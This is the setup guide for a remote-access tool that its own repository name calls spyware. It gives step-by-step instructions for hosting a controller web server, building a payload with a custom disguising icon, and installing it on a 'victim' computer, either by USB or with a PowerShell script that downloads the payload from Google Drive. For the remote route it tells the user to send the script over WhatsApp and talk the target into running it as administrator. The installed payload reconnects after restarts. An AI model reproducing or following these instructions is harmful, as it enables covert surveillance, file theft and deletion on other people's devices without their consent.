This tool allows remote access to the file explorer of a target system over either a WAN or LAN, depending on how it is configured.
Once the payload is successfully installed on the target computer, the entire file system becomes accessible through a user-friendly web-based GUI. This interface enables you to upload files to the target machine, download files from it, rename files or folders, delete them, and more.
The tool is configured in three main steps:
-
Setting up the Controller Side
This is the system you will control, which provides a web-based GUI interface to access and manage the file explorer of other PCs. -
Generating and Deploying the Payload
The payload must be installed on the target computer, and there are two methods for doing this:-
Offline Transfer (using a USB drive): Requires one-time physical access to the target machine. It’s faster and more reliable.
-
Online Method (using a custom script): The script is shared with the target user via platforms like WhatsApp, and you must convince them to run it as administrator. This method downloads the payload from the internet onto the victim’s computer. It's slower and depends on the internet speed of the target system.
-
-
Accessing the Target File Explorer Once the payload is installed, you can use your web browser to access the target's file system via the provided GUI.
Note: This method uses Render.com to host the web server for this tool.
- Create an account on
Render.comand go to the Dashboard. - Click
Newin the top-right corner. - Select
Web Service - Choose
Public Git Repository - Paste the following URL into the input field and click Connect
https://github.com/PowerPizza/Explowerer-Spyware - Under
Name, enter any name you prefer.
Note: This name will be used as the subdomain prefix for your web server. - In the Language field, select
PythonorPython 3 - For the Root Directory, enter
backend - In the Build Command field, enter
pip install -r requirements.txt - In the Start Command field, enter
gunicorn --worker-class eventlet -w 1 main:app --bind 0.0.0.0:5600 - Scroll down and select the
Free Tier. - Continue scrolling and click
Deploy Web Serviceat the bottom.
Once the web service is deployed and running, you’ll receive a unique URL. This URL allows you to access the tool's web server from anywhere.
Before using it, you'll need to configure the target file for this specific URL. So, make sure to copy the URL for later use.
-
Install Python on your computer from the official website python.org
-
Downloading the ZIP file of target setup from Target Setup
-
Extract the zip files into a folder - there will be
infection.pylaunch1.ps1launch2.ps1etc... files in it. -
(Optional) If you want to change the icon of the generated
.exepayload file, follow these steps:- Choose any image you'd like to use as the icon.
- Convert the image to
.icoformat using any online file converter. - Replace the existing
target_icon.icofile with your new icon file.
Important: Make sure the new file is named exactly target_icon.ico
-
Open the
infection.pyfile using any text editor you prefer. -
Find the placeholder string
__PLACE_RENDER_URL_HERE__and replace it with the URL of your web server (copied from Section 1). -
Save the file and close the editor.
-
Open the project folder and double-click the
pack_payload.cmdfile to execute it.
After the script runs, you will see a new file named payload.txt in the same folder.
This is your generated payload.
- Create a new folder anywhere on your PC.
- Copy the following files into that folder:
launch1.ps1- The newly generated
payload.txt
- Transfer the folder to a pen drive or any other portable storage device.
- On the target computer, plug in your pen drive.
- Open the folder containing both
launch1.ps1and payload.txt - Right-click on
launch1.ps1and selectRun with PowerShellIf the script prompts you with any messages (e.g., asking to confirm execution), type Y and press Enter. Approve any other prompts that appear by selecting "Yes".
- Go to google drive
- Upload the
payload.txtfile. - Click the three dots next to the uploaded file and select Share.
- Change the access settings to Anyone with the link, then copy the sharing link.
- The link will look something like this
https://drive.google.com/file/d/__HERE_WILL_BE_THE_FILE_ID__/view?usp=sharing - Extract & copy the File ID from the link (the part between /d/ and /view).
- Go back to the folder and open the
launch2.ps1file in any text editor. - Find the line that contains
__PUT_FILE_ID_HERE__ - Replace it with the File ID you copied.
- Save the file.
You can now send this file to anyone.
Convince them to right-click on it, select Run with PowerShell, approve any security prompts by clicking Yes, and enter capital Y if prompted.
Use the Render.com URL you copied in Section 1 to open the web page where you can access the file explorer of the target device.
Note: Target devices will appear in the menu only when they are powered on and connected to the internet.
If a target device restarts, the connection will automatically be re-established with your web server. So, there's no need to worry about restarts.
This project is open-source and available under the MIT License.